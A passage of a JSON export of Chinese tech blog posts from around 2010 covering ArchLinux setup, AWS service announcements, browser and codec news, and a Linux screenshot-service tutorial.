    "body": "<a href=\"http://www.debian.org/\">Debian</a> 用一陣子後，發現 <a href=\"http://www.python.org/\">Python</a> 2.6 在 <a href=\"http://www.debian.org/releases/lenny/\">lenny</a> 的 <a href=\"http://www.backports.org/\">backports</a> 也沒有，一定得到 <a href=\"http://www.debian.org/releases/squeeze/\">squeeze</a> (目前的 <a href=\"http://www.debian.org/releases/testing/\">testing</a>) 找出來用，但如此一來就會有很多問題 (像是 testing 的 python library 使用 stable 的 C library)，所以一直在覺得很煩...\r\n\r\n另外，自己架設 APT 的熟練程度一直卡在沒有自動化工具，所以一直想要試試 <a href=\"http://www.linux.org/\">Linux</a> 上其他的 package system，但又不想要用 <a href=\"http://en.wikipedia.org/wiki/RPM_Package_Manager\">RPM</a>，所以就挑上 <a href=\"http://www.archlinux.org/\">ArchLinux</a> 了...\r\n\r\n不過在 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 內裝 ArchLinux 遇到一些怪問題，總算是弄的差不多，紀錄起來讓其他人有機會少踩一些雷...\r\n\r\n首先是抓 ISO image，最新的版本可以在 <a href=\"http://ftp.tku.edu.tw/Linux/ArchLinux/iso/latest/\">http://ftp.tku.edu.tw/Linux/ArchLinux/iso/latest/</a> (這是<a href=\"http://www.tku.edu.tw/\">淡江大學</a>的 mirror) 這邊抓到，我在寫這篇時是抓 archlinux-2009.08-netinstall-i686.iso，抓完之後先用工具確認檔案的 md5 與 sha1 有沒有問題，避免檔案壞掉造成安裝過程或結果異常。\r\n\r\n由於我是用 netinstall，所以得選擇 mirror site。在選擇時，記得得選擇 FTP 而非 HTTP 的 mirror site。我前幾次試著用 HTTP 試了好幾個站台都失敗，但後來選 FTP 都成功。這個問題還不知道哪裡出錯。另外要注意的是，由於我是有拿到 Public IP，所以不確定 FTP 預設是不是 passive，如果在 NAT 後面安裝的人可能要抓 core 版而非 netinstall 版避開這個問題 (因為 HTTP 不能用)，或是想辦法讓 installer 告訴抓檔程式用 passive mode。\r\n\r\n再來是檔案系統的選擇，由於我只是要玩 ArchLinux，所以決定切 <code>/</code> 與 swap 就好，不另外切 <code>/boot</code>。在 <a href=\"http://www.debian.org/\">Debian</a> 上我可以用 <a href=\"http://en.wikipedia.org/wiki/ReiserFS\">ReiserFS</a> 當作根目錄，而 <a href=\"http://www.gnu.org/software/grub/\">GRUB</a> 可以開機，但在 ArchLinux 上我用 ReiserFS 當作根目錄會失敗，改用 <a href=\"http://en.wikipedia.org/wiki/Ext3\">ext3</a> 才開的起來。\r\n\r\n對於 ArchLinux 的 package system，<a href=\"http://www.archlinux.org/pacman/\">pacman</a> 用起來還蠻有趣的，官方 Wiki 上對於基本操作寫得很清楚 (「<a href=\"http://wiki.archlinux.org/index.php/Pacman\">pacman</a>」這篇)，另外在 <code>/etc/pacman.conf</code>、<code>/etc/pacman.d/</code> 以及 <code>/var/lib/pacman/</code> 下也是可以摸索的地方，要再花時間玩...\r\n\r\n裝玩 <a href=\"http://www.openssh.com/\">openssh</a> 並且跑起來後，卻發現連不上 SSH server，翻系統紀錄才發現被 <a href=\"http://en.wikipedia.org/wiki/TCP_Wrapper\">TCP wrapper</a> 擋下來了，要在 <code>/etc/hosts.allow</code> 裡加上 <code>sshd</code> 以及開放的網段。\r\n\r\n接下來是建制基本環境，大致上就是把 Debian 上的 <a href=\"http://en.wikipedia.org/wiki/Bash\">bash</a> 設定複製一份過來就可以了。",
    "title": "在 VirtualBox 內安裝 ArchLinux 的紀錄"
  },
  {
    "id": "2235",
    "body": "玩了幾天 <a href=\"http://www.archlinux.org/pacman/\">Pacman</a>，整理一些資料...\r\n\r\n安裝完成後，預設可以使用的 package repository 可以在 <code>/etc/pacman.conf</code> 內看到，包括 <a href=\"http://www.archlinux.org/packages/?repo=Core\">core</a> (目前約 340 個)、<a href=\"http://www.archlinux.org/packages/?repo=Extra\">extra</a> (~4500)，以及 <a href=\"http://www.archlinux.org/packages/?repo=Community\">community</a> (~3400)。\r\n\r\n另外有幾兩個測試性質的，預設是關閉的。一個是 <a href=\"http://www.archlinux.org/packages/?repo=Testing\">testing</a>，另外一個是 <a href=\"http://www.archlinux.org/packages/?repo=Community-Testing\">community-testing</a>，裡面的量都不多。\r\n\r\n除了這些以外，使用者自己也可以提供新的套件，官方有提供 <a href=\"http://aur.archlinux.org/\">AUR</a> (也就是 unsupported)，任何人都可以註冊並且上傳，也因此所以有可能會包括有安全問題的 code。所以有 TU (Trusted Users) 的制度，當一個 package 使用的人夠多 (在「<a href=\"http://wiki.archlinux.org/index.php/AUR_Trusted_User_Guidelines\">AUR Trusted User Guidelines</a>」有說明)，而且 TU 確認沒問題後就會 update 到 community 內。\r\n\r\n要安裝 unsupported 的軟體必須必須自己下載 AUR 的 source tarball (裡面有 <code>PKGBUILD</code> 以及其他設定)，並且確認沒有 malicious code 後再用 <a href=\"http://wiki.archlinux.org/index.php/Makepkg\">makepkg</a> 安裝。\r\n\r\n另外 <a href=\"http://www.gmane.org/\">Gmane</a> 有收 <a href=\"http://www.archlinux.org/\">ArchLinux</a> 的 <a href=\"http://dir.gmane.org/index.php?prefix=gmane.linux.arch\">mailing list</a>，習慣用 BBS 讀的人可以抓下來看。",
    "title": "Pacman 的規劃"
  },
  {
    "id": "2237",
    "body": "從 2010 的四月開始 (三月底就先公佈了)，在同一個 billing account 下不同服務的頻寬將合併 (並不是所有的服務，請參考官方公告所列的)，然後依照各區 (region) 計算：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/04/01/announcing-combined-aws-data-transfer-pricing/\">Announcing Combined AWS Data Transfer Pricing</a>」，除此以外每個月 Outbound 的第一個 GB 是免費的。\r\n\r\n這對於使用量夠大的人才有差異：假設 <a href=\"http://aws.amazon.com/s3/\">S3</a> 與 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的 US-East 區 Outbound 都是 10TB，舊的算法會算成兩次 10TB (前 10TB 是 USD$0.15/GB，也就是 USD$3000)，而新的算法則是算成一次 20TB (第一個 GB 免費，前 10TB 是 USD$0.15/GB，再來的 40TB 部份是 USD$0.11/GB，也就是 USD$2599.85)。\r\n\r\n10TB/month 大約是平均 33Mbps，用 Amazon EC2 跑 <a href=\"http://www.facebook.com/\">Facebook</a> 外掛遊戲的應該都做的到？不過應該不會 EC2 + S3 混用，而是 EC2 + <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 混用？這樣好像就虛掉了...",
    "title": "Amazon Web Services 頻寬合併計算"
  },
  {
    "id": "2240",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 今天推出 <a href=\"http://aws.amazon.com/sns/\">Amazon Simple Notification Service</a> (Amazon SNS)，看起來比較像是 <a href=\"http://aws.amazon.com/sqs/\">Simple Queue Service</a> (Amazon SQS) 的變形：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/04/07/announcing-amazon-simple-notification-service/\">Announcing Amazon Simple Notification Service</a>」。\r\n\r\nAmazon SQS 的架構是 poll-based，而 Amazon SNS 是 event-based，而且允許多個訂閱，可以用 HTTP/HTTPS，以及 Email/Email-JSON (這兩個東西...)，另外也可以丟到 SQS。\r\n\r\n價錢的部份，除了需要流量費用以外 (要注意的是只要 in/out SNS 就要收錢，而非跨出 Region 才收)，另外也有 notification 的費用。如果自己改裝成 Sync Job Server (雖然走 HTTP 時 overhead 有點重)，就目前費用看起來還蠻超值的，以 Notification 來算 (所以每次 publish 可能會有很多筆 notification)，每十萬次才 USD$0.06，比起自己租用 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 最小台的機器做算是很方便的服務...\r\n\r\nEmail 的部份 (每十萬封要 USD$0.2) 還沒細看，不確定能實際拿來作什麼，不知道能不能當作 mailing list？\r\n\r\n再來想看看還有什麼有趣的用途...",
    "title": "Amazon Simple Notification Service"
  },
  {
    "id": "2241",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 大約十天前對 <a href=\"http://aws.amazon.com/elasticloadbalancing/\">ELB</a> 加上了新功能：「<a href=\"http://aws.typepad.com/aws/2010/04/new-elastic-load-balancing-feature-sticky-sessions.html\">New Elastic Load Balancing Feature: Sticky Sessions</a>」，這個功能想要做到同一個 session 所發出的 request 都導到同一台 server 上。以「<a href=\"http://www.shlomoswidler.com/2010/04/elastic-load-balancing-with-sticky-sessions.html\">Elastic Load Balancing with Sticky Sessions</a>」這篇的說明來看，看起來是 Cookie-based。這在商業 load balancer 上是很常看到的功能，後端的 web server 幾乎不用修改就可以維持同一個 session 都導到同一台 server 上。\r\n\r\n另外常見的作法是把 session 資料放到 NFS 或是 <a href=\"http://memcached.org/\">memcached</a> 上，這樣跨機器也沒問題。",
    "title": "Amazon 的 ELB 支援 Sticky Sessions"
  },
  {
    "id": "2242",
    "body": "<a href=\"http://gcc.gnu.org/\">GCC</a> 4.5.0 前幾天公告釋出：「<a href=\"http://www.osnews.com/story/23159/GCC_4_5_0_Released\">GCC 4.5.0 Released</a>」，而另外一邊以 <a href=\"http://clang.llvm.org/\">clang</a> 取代 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 系統內 GCC 的計畫 ClangBSD 也開始徵求測試者了：「<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2010-April/016648.html\">[CFT]: ClangBSD is selfhosting, we need testers now</a>」。\r\n\r\n目前 ClangBSD 可以在 i386 以及 amd64 上編譯 bootable-kernel 以及 world (目前的 -CURRENT 版本)，平常在用 -CURRENT 的人除了上面那篇 mailing list 上的說明外，在「<a href=\"http://wiki.freebsd.org/BuildingFreeBSDWithClang\">Building FreeBSD with clang/llvm</a>」也有介紹更多關於要怎麼把整個系統切換過去的細節。\r\n\r\nFreeBSD 要換掉系統內 GCC 的計畫又往前跨了一步...",
    "title": "GCC 4.5.0 以及 ClangBSD"
  },
  {
    "id": "2243",
    "body": "終於從沒網路的地方出來了... 兩個禮拜多沒更新 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> (3.7，<a href=\"http://www.mozilla.org/projects/minefield/\">Minefield</a> 版)，這次一更新就發現 GDI++ 失效了，看了一下，似乎是因為 <a href=\"http://adblockplus.org/\">Adblock Plus</a> 把問題修掉並且推出新版的關係？\r\n\r\n考慮到美觀與速度之間的妥協，還是把 DirectWrite 關掉...",
    "title": "Firefox 的 DirectWrite"
  },
  {
    "id": "2244",
    "body": "四月底的時候 <a href=\"http://www.amazon.com/\">Amazon</a> 宣佈 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 在亞洲區選擇新加坡為其第一個進入的點：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/04/29/announcing-asia-pacific-singapore-region/\">Announcing the AWS Asia Pacific (Singapore) Region</a>」。\r\n\r\n以 latency 看，速度比美西的點好很多，主要還是貴在頻寬的費用上，不過有些 ISP 還是會繞去美國再回來，速度就變差了...",
    "title": "Amazon Web Services 亞洲區設點新加坡"
  },
  {
    "id": "2245",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 上星期公佈了 <a href=\"http://aws.amazon.com/s3/\">S3</a> 不同等級的服務：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/05/19/announcing-amazon-s3-reduced-redundancy-storage/\">Announcing Amazon S3 Reduced Redundancy Storage</a>」。\r\n\r\n先前 S3 的系統是設計成一年內有 99.999999999% (1-10<sup>-11</sup>) Durability，這是靠比較高的 replication 數量，以及將資料放在不同機房。而 RRS (Reduced Redundancy Storage) 則是放在單一機房內，replication 數量也比標準的 S3 少，所以成本會比較低，但資料的可靠度也會比較低，只有 99.99% (1-10<sup>-4</sup>)。\r\n\r\n這個新的設計對於比較不重要的資料 (尤其是可以從原始資料再運算得到的，像是縮圖) 可以考慮丟到 RRS。在前 50TB 的部份是標準儲存 2/3 的價錢。\r\n\r\n另外 <a href=\"http://aws.amazon.com/rds/\">RDS</a> 的部份則是支援跨區 replication 了，可以藉由這種方式提昇一部分的服務可靠度：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/05/18/announcing-multi-az-deployments-for-amazon-rds/\">Announcing Multi-AZ Deployments for Amazon RDS</a>」。",
    "title": "Amazon S3 的分級儲存以及 RDS 跨區 Replication"
  },
  {
    "id": "2246",
    "body": "經過這半個月的發展，看起來 <a href=\"http://www.webmproject.org/\">WebM</a> 以及 <a href=\"http://en.wikipedia.org/wiki/VP8\">VP8</a> 會是下一代影音的新標準。\r\n\r\n去年 <a href=\"http://www.mozilla.com/\">Mozilla</a> (<a href=\"http://www.mozilla.com/firefox\">Firefox</a>) 及 <a href=\"http://www.opera.com/\">Opera</a> 因為 <a href=\"http://zh.wikipedia.org/wiki/H.264/MPEG-4_AVC\">H.264</a> 的軟體專利問題而不願意支援 H.264，所以大家都很注目比較可能沒有專利問題的 <a href=\"http://theora.org/\">Theora</a>。這是基於 <a href=\"http://www.on2.com/\">On2 Technologies</a> 在 2001 年所 open source 的 <a href=\"http://en.wikipedia.org/wiki/VP3\">VP3</a> 而發展出來的。也因此大家對於是否可以用 Theora 取代 H.264 一直很有疑問 (參考二月時寫的「<a href=\"http://blog.gslin.org/archives/2010/02/27/2223/\">Theora 與 H.264 的畫質差異</a>」)。\r\n\r\n首先是 <a href=\"http://www.google.com/\">Google</a> 在 2009 年八月的時候買下 <a href=\"http://www.on2.com/\">On2 Technologies</a> (在 2010 年 2 月的時候完成收購)，有不少人希望 Google 可以授權 On2 在 2008 年所發表的 VP8 給大家使用，<a href=\"http://www.fsf.org/\">FSF</a> 甚至利用 <a href=\"http://www.youtube.com/\">YouTube</a> 的影響力，並且主動提供 VP8 格式的影片，大力推廣 VP8：「<a href=\"http://www.fsf.org/blogs/community/google-free-on2-vp8-for-youtube\">Open letter to Google: free VP8, and use it on YouTube</a>」。\r\n\r\n上個月 <a href=\"http://code.google.com/events/io/2010/\">Google I/O 2010</a> 的時候，Google 公開 WebM Project，其中包括了 VP8 的使用權，並且提供免費的專利使用權。雖然有些人對於 VP8 還是覺得不夠好 (像是「<a href=\"http://x264dev.multimedia.cx/?p=377\">The first in-depth technical analysis of VP8</a>」這篇分析)，但由於 Mozilla、Opera、Google 在當天都已經宣佈會支援 WebM，<a href=\"http://blogs.msdn.com/b/ie/archive/2010/05/19/another-follow-up-on-html5-video-in-ie9.aspx\">微軟也宣佈會在 IE9 內支援 WebM 檔案格式</a> (至於 VP8 codec 則是在系統內安裝)，所以 WebM 很快就變成大家注目的焦點，而在 <a href=\"http://ffmpeg.org/\">ffmpeg</a> 的 mailing list 上也很快就有人把將 libvpx 整合到 ffmpeg 內。\r\n\r\n接下來看看能不能更直接將 WebM 直接納入 HTML5 的 spec 內...",
    "title": "WebM 以及 VP8 將成為下一代影音標準"
  },
  {
    "id": "2247",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈支援 HTTPS，北美增加紐約 PoP，並降低單一 request 的費用：<a href=\"http://aws.typepad.com/aws/2010/06/amazon-cloudfront-support-for-https-access.html\">Amazon CloudFront: HTTPS Access, Another Edge Location, Price Reduction</a>。\r\n\r\nHTTPS 的部份，因為 SSL Certification 是 <code>*.cloudfront.net</code>，所以不能使用自己的名稱 (CNAME 過去的那個名稱)，否則在瀏覽器裡會出現警告視窗。像是 <a href=\"https://test.gslin.org/jquery-1.4.2.min.js\">https://test.gslin.org/jquery-1.4.2.min.js</a> 會出現警告視窗，但 <a href=\"https://d709c28ax59vf.cloudfront.net/jquery-1.4.2.min.js\">https://d709c28ax59vf.cloudfront.net/jquery-1.4.2.min.js</a> 則不會。\r\n\r\n除此之外，可以設定只能透過 HTTPS 傳輸，如果透過 HTTP 則擋下來不讓他用。價錢部份，HTTP 的單一 reuqest 價錢則是降了 25%，而 HTTPS 的價錢剛好是原來 HTTP 的價錢。\r\n\r\n另外一個比較意外的消息是，CloudFront 之前在紐約沒有 PoP，這次建好上線使用... 先前應該是透過 Newark, NJ 的 PoP 服務東岸北部？",
    "title": "Amazon CloudFront 支援 HTTPS 並且降價"
  },
  {
    "id": "2248",
    "body": "大約是兩個禮拜前的消息了。\r\n\r\n不過因為用到 Flash，所以使用 <a href=\"https://addons.mozilla.org/firefox/addon/433/\">Flashblock</a> 的人要把 <code>console.aws.amazon.com</code> 這個 site 加到白名單內 (頁面上沒出現 Flashblock 提供的 active button)。另外因為 flash policy 用到 port 843，所以連外 port 843 必須是通的。官方的公告可以參考「<a href=\"http://aws.amazon.com/about-aws/whats-new/2010/06/10/aws-management-console-adds-support-for-amazon-s3/\">AWS Management Console adds support for Amazon S3</a>」這篇。\r\n\r\n不過這東西問題還不少，跑一跑就讓我的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 當掉... 無論如何，畢竟是多了一種選擇，如果要透過網頁管理 <a href=\"http://aws.amazon.com/s3/\">S3</a> 內的資料，不用再透過第三方的網站處理，而是改由本來就存取的到的 <a href=\"http://www.amazon.com/\">Amazon</a> 來提供，會比較放心一點。",
    "title": "Amazon Web Services (AWS) S3 可以透過 AWS Management Console 管理了..."
  },
  {
    "id": "2251",
    "body": "以 Referer 決定是否可以存取的功能等了好久：「<a href=\"http://aws.typepad.com/aws/2010/07/amazon-s3-bucket-policies-another-way-to-protect-your-content.html\">Amazon S3 Bucket Policies - Another Way to Protect Your Content</a>」。\r\n\r\nBucket Policy 必須以 <a href=\"http://www.amazon.com/\">Amazon</a> 自訂的語法設定條件，可以看某些 header 設定是否允許存取 <a href=\"http://aws.amazon.com/s3/\">S3</a> 的物件，像是 <code>User-agent</code> 與 <code>Referer</code>。\r\n\r\n不過看了文件，沒有 regular expression 可以用？只有 shell expression (支援 <code>*</code> 與 <code>?</code> 而已)，應該是夠用但感覺還是怪怪的...",
    "title": "AWS S3 的 Bucket Policy"
  },
  {
    "id": "2252",
    "body": "前幾天 <a href=\"http://www.python.org/download/releases/2.7/\">Python 2.7</a> 正式釋出 (2010/07/03)，預定是 <a href=\"http://www.python.org/\">Python</a> 2 最後一個 major release，於是又有人再討論要怎麼寫出 Python 2 與 Python 3 都能夠跑的程式碼，以維持單一 codebase。\r\n\r\n在「<a href=\"http://mail.python.org/pipermail/python-list/2010-July/1249312.html\">The real problem with Python 3 - no business case for conversion (was \"I strongly dislike Python 3\")</a>」這篇提到了一些語法及模組技巧 (基本上就是用 Python 2 與 Python 3 都可以跑的方式寫)，以及當無法避免寫兩次時要怎麼做。\r\n\r\n<a href=\"http://python.org/download/releases/3.0/\">Python 3.0</a> 釋出到現在也一年半了 (2008/12/03)，<a href=\"http://python.org/download/releases/3.1/\">Python 3.1</a> 也一年了 (2009/06/27)，而 Python 3.2 alpha1 預定在 8/7 發布... 該準備把現有的 code 丟進 Python 3 測試看看了。",
    "title": "Python 2 與 Python 3 的相容性"
  },
  {
    "id": "2253",
    "body": "前陣子發現 <a href=\"http://blog.xuite.net/\">Xuite Blog</a> 有時候會被導到登入頁？後來發現只要在 <a href=\"http://www.emome.net/\">emome</a> 登入過就會造成 Xuite Blog 上不去。\r\n\r\n先就症狀猜了老半天，然後用 <a href=\"http://getfirebug.com/\">Firebug</a> 看了半天，但因為 Firebug 在 redirect 後會重新紀錄，所以猜不出原因...\r\n\r\n直到後來被 <a href=\"http://jnlin.org/\">jnlin</a> 提醒用 <a href=\"https://addons.mozilla.org/firefox/addon/6647/\">HttpFox</a> 抓，才看出來中華是怎麼玩的...\r\n\r\n<a href=\"http://www.cht.com.tw/\">中華電信</a>的單一登入系統在 <code>cht.com.tw</code> 網域下，而為了要讓其他網站可以取得資訊，利用多次 redirect 帶入授權資訊讓 <code>emome.net</code>、<code>hinet.net</code>、<code>xuite.net</code> 設定 cookie 登入。(也就是 <code>http://member.*/HiReg/setcookie?...</code> 這些 redirect request)\r\n\r\n這讓我想到 <a href=\"http://openid.net/\">OpenID</a> 好像有支援 AJAX style 的登入方式，缺點是會用到 javascript？該看一下了...",
    "title": "中華電信的單一登入系統..."
  },
  {
    "id": "2255",
    "body": "在 <a href=\"http://techcrunch.com/\">TechCrunch</a> 上看到 <a href=\"http://www.youtube.com/\">YouTube</a> 將提供 4096x3072 的影片格式讓合作夥伴上傳：「<a href=\"http://techcrunch.com/2010/07/09/youtube-partner-program-4k/\">YouTube Announces Partner Grants Program, Support For 4K Video Resolution</a>」。YouTube 的公告則是在「<a href=\"http://youtube-global.blogspot.com/2010/07/whats-bigger-than-1080p-4k-video-comes.html\">What's bigger than 1080p? 4K video comes to YouTube</a>」這篇。\r\n\r\nYouTube 先把自己能做的部份做完，接下來只要有 source 就能上去。\r\n\r\n接下來的困難在於，能拍攝 4096x3072 格式的設備不便宜，而且就算有 source，使用者也必須有超大的頻寬才看得動。但如果超高解析度會是潮流，YouTube 會先把位置卡死，不讓其他業者進入...",
    "title": "YouTube 將提供 4096x3072 的影片格式給合作夥伴..."
  },
  {
    "id": "2258",
    "body": "<a href=\"http://code.google.com/webfonts\">Google Font Directory</a> 讓使用者可以在網站上看到字型，前幾天推出的 Preview 功能可以讓你丟一段文字進去看效果，目前只有英文字型。\r\n\r\n測了一下 Preview 的部份，在 IE8 與 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.6 都可以運作，不過 IE8 的 HTML code 部份好像有點問題...\r\n\r\n如果懶得點進去玩，可以參考「<a href=\"http://googlesystem.blogspot.com/2010/07/google-font-previewer.html\">Google Font Previewer</a>」這篇文章給的網站截圖。",
    "title": "Google 的字型預覽服務"
  },
  {
    "id": "2260",
    "body": "<a href=\"http://www.rackspacecloud.com/\">Rackspace Cloud</a> 提出了 <a href=\"http://www.openstack.org/\">The OpenStack Project</a>，以 <a href=\"http://www.apache.org/licenses/LICENSE-2.0.html\">Apache License 2.0</a> 公開了兩個專案：<a href=\"https://launchpad.net/openstack\">OpenStack Compute (Nova)</a> 以及 <a href=\"https://launchpad.net/swift\">OpenStack Object Storage (Swift)</a> (目前 Swift 需要登入)。\r\n\r\n兩者的文件可以在「<a href=\"http://nova.openstack.org/\">Welcome to nova’s documentation!</a>」與「<a href=\"http://swift.openstack.org/\">Welcome to Swift’s documentation!</a>」這兩邊看到，都是以 <a href=\"http://www.python.org/\">Python</a> 開發出來的架構。對應到 <a href=\"http://aws.amazon.com/\">AWS</a> 的架構分別是 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 與 <a href=\"http://aws.amazon.com/s3/\">S3</a>。由於剛被丟出來，還沒有什麼測試資料與數據可以看，不過文件還蠻完整的，應該很快就有人將測試結果與感想丟出來。\r\n\r\n除了底層的基礎建設外，在 <a href=\"http://launchpad.net/\">Launchpad</a> 上可以看到其他的專案在發展，像是 <a href=\"https://launchpad.net/openstack-web-control-panel\">OpenStack Web Control Panel</a>。",
    "title": "Rackspace 的 OpenStack"
  },
  {
    "id": "2261",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.dell.com/\">Dell</a> 所售出的伺服器中，主機板上內建的管理軟體有木馬：「<a href=\"http://it.slashdot.org/story/10/07/21/1354206/Dell-Ships-Infected-Motherboards\">Dell Ships Infected Motherboards</a>」。\r\n\r\n原文是在 Dell 的支援論壇上面，苦主提到他的 PowerEdge R410 被 Dell 通知要更換主機板，因為裡面的管理軟體包含木馬：「<a href=\"http://en.community.dell.com/support-forums/servers/f/956/t/19339458.aspx\">PowerEdge R410 replacement motherboard contains malware?!</a>」。\r\n\r\n這個厲害，繼續看會發生什麼事...",
    "title": "Dell 伺服器內管理軟體內含木馬..."
  },
  {
    "id": "2262",
    "body": "<a href=\"http://twitter.com/\">Twitter</a> 剛剛發的公告：「<a href=\"http://engineering.twitter.com/2010/07/room-to-grow-twitter-data-center.html\">Room to grow: a Twitter data center</a>」。\r\n\r\n目前 Twitter 是購買 <a href=\"http://www.us.ntt.com/\">NTT America</a> 的 transit，預定在今年秋天時在 Salt Lake City (鹽湖城) 建立自己的 data center。\r\n\r\n就文章所說得部份看不出來打算做到什麼程度，但我猜以 Twitter 目前的規劃，應該是租用既有的機房空間，而非從建築物開始蓋。在建立自己的網路架構後，混合 transit 與各 ISP peering。這種方法比較接近 <a href=\"http://www.google.com/\">Google</a> 在<a href=\"http://www.longtan.gov.tw/\">龍潭</a>所成立的機房。\r\n\r\n不知道之後會不會在 conference 上介紹怎麼弄機房...",
    "title": "Twitter 要建立自己的 Data Center"
  },
  {
    "id": "2265",
    "body": "之前在 debug 時為了 HTTP Redirect Response 的 cache 問題測過一些，發現結果很亂，後來找到一些 workaround 避開 redirect response 後就沒有再研究太多。今天在「<a href=\"http://www.stevesouders.com/blog/2010/07/23/redirect-caching-deep-dive/\">Redirect caching deep dive</a>」這篇看到在討論 HTTP Redirect Response 時的 cache 問題，作者把幾個常見的瀏覽器都測過一次作成表格...\r\n\r\n可以看出來情況還蠻複雜的，雖然 <a href=\"http://www.ietf.org/rfc.html\">RFC</a> 有定義 cache 的時機，但沒有一家完全照 \"SHOULD\" 的規矩來 XD\r\n\r\n不過既然有人提出來而且整理成表格了，之後應該會修正...",
    "title": "HTTP Redirect Response Cache"
  },
  {
    "id": "2266",
    "body": "<a href=\"http://wordpress.org/\">WordPress</a> 宣佈從 3.1 版開始將不再支援 <a href=\"http://php.net/\">PHP</a> 4 與 <a href=\"http://dev.mysql.com/\">MySQL</a> 4：「<a href=\"http://wordpress.org/news/2010/07/eol-for-php4-and-mysql4/\">PHP 4 and MySQL 4 End of Life Announcement</a>」。\r\n\r\nPHP 4 與 MySQL 4 官方都已經停止支援很久了，WordPress 總算是想起來了？\r\n\r\n另外，在 WordPress 3.2 版後 (預定在 2011 年的上半年發行)，對 PHP 的最低需求會再提高到 5.2 版，這是因為目前使用非 5.2 以上的數量只有 ~11%，所以他們希望半年後可以再把需求更新...",
    "title": "WordPress 3.1 將不考慮 PHP 4 與 MySQL 4"
  },
  {
    "id": "2267",
    "body": "順便可以拿來取消版本檢查...\r\n\r\n我桌機的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 雖然是跑 3.6 系列，但筆電上還是跑 <a href=\"http://www.mozilla.org/projects/minefield/\">Minefield</a>。之前一直都是靠 <a href=\"https://addons.mozilla.org/firefox/addon/6543/\">Nightly Tester Tools</a> 強制套件不要檢查版本，但在 4.0 beta 後一直沒更新，於是 Nightly Tester Tools 就失效了... XD\r\n\r\n後來在 comment 的地方看到有人說 <a href=\"http://www.mozilla.org/\">Mozilla</a> 官方自己跳出來弄了一個「<a href=\"https://addons.mozilla.org/firefox/addon/15003/\">Add-on Compatibility Reporter</a>」，一樣可以做到這件事情，除此之外還可以回報套件在新版上是否正常...\r\n\r\n於是 Minefield 的套件就都跑起來了，測了一下，果然一堆套件在 4.0b3 上爛掉... XD",
    "title": "Mozilla 官方的 Firefox 套件相容性回報程式"
  },
  {
    "id": "2268",
    "body": "在 2008 年的時候 <a href=\"http://blog.xdite.net/\">xdite</a> 寫過一篇「<a href=\"http://blog.xdite.net/?p=765\">在 Linux 上架設 Screenshot Service</a>」，不過現在是 2010 年了，不少當初有問題的地方都已經改善了，現在要架比之前方便不少...\r\n\r\n測試的平台同樣是在 <a href=\"http://www.linode.com/?r=fdbacc96dbddafce9ba444dd678357416d0323d5\">Linode</a> (referral code 是 <small><code>fdbacc96dbddafce9ba444dd678357416d0323d5</code></small>) 上跑 <a href=\"http://www.debian.org/releases/lenny/\">Debian lenny</a> (也就是 5.0 版)，為了避免 <a href=\"http://www.adobe.com/products/flashplayer/\">Adobe Flash Player</a> 在 <a href=\"http://www.linux.org/\">Linux</a> amd64 上會出問題，我在 Linode 上用 32bits 版。\r\n\r\nLinode 把預設的 <a href=\"http://www.debian.org/\">Debian</a> 裝完後，先把整個系統升級到 <a href=\"http://www.debian.org/releases/squeeze/\">Debian squeeze</a> 並且重開，然後先裝「locales」這個套件，再用 <code>dpkg-reconfigure locales</code> 把 en_US.UTF-8 以及你自己會用到的 locale 勾起來。\r\n\r\n接著開始裝必要的套件：\r\n<ul>\r\n\t<li>flashplugin-nonfree</li>\r\n\t<li>iceweasel</li>\r\n\t<li>ttf-arphic-bkai00mp</li>\r\n\t<li>ttf-arphic-bsmi00lp</li>\r\n\t<li>ttf-arphic-gbsn00lp</li>\r\n\t<li>ttf-arphic-gkai00mp</li>\r\n\t<li>ttf-arphic-ukai</li>\r\n\t<li>ttf-arphic-uming</li>\r\n\t<li>ttf-wqy-zenhei</li>\r\n\t<li>xvfb</li>\r\n</ul>\r\n<a href=\"http://www.geticeweasel.org/\">Iceweasel</a> 其實就是 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a>，因為商標問題而在 Debian 上有不同的名字。在英文版維基百科的「<a href=\"http://en.wikipedia.org/wiki/Mozilla_Corporation_software_rebranded_by_the_Debian_project\">Mozilla Corporation software rebranded by the Debian project</a>」這篇文章裡把前因後果講得很清楚，這邊就不提了...\r\n\r\n除了必要的套件外，接下來裝 <a href=\"http://www.tightvnc.com/\">TightVNC</a> server，準備透過 VNC 設定 Iceweasel。設完後可以移除掉或是留下來，我自己是留下來 (反正檔案不大)，有時候可能要進去 <code>about:config</code> 調整參數...\r\n\r\nTightVNC server 用 <code>tightvncserver :0</code> 跑起來，然後遠端連進去把 Iceweasel 跑起來測試看看有沒有問題 (可以透過 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 的 tunnel 將傳輸過程加密)，沒有問題的話就裝「<a href=\"http://sites.google.com/site/torisugari/commandlineprint2\">torisugari: Command Line Print</a>」這個套件，裝好後再把 Xvfb 跑起來，用這個指令抓圖：\r\n<blockquote><code>DISPLAY=:2.0 iceweasel -print http://zh.wikipedia.org/ -printmode png -printfile ~/zh.wikipedia.org.png -printdelay 10</code></blockquote>\r\n抓出來的 screenshot 就會像這樣：(點<a href=\"http://www.flickr.com/photos/gslin/4822837463/sizes/o/\">這裡</a>看原大小圖片)\r\n<a 